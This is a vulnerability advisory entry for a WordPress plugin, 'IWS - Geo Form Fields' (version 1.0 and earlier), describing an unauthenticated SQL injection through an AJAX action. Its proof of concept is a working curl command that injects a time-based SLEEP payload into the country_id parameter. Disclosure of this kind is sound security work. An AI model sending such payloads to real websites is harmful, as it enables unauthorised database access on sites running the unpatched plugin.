WordPress Plugin Vulnerabilities

IWS - Geo Form Fields <= 1.0 - Unauthenticated SQLi

Description

The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection.

Proof of Concept

Invoke the following curl command, which will induce a 5s delay:

time curl 'https://example.com/wp-admin/admin-ajax.php?action=iws_gff_fetch_states' --data 'country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)'

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-11-30 (about 1 years ago)
Added
2022-11-30 (about 1 years ago)
Last Updated
2022-11-30 (about 1 years ago)

Other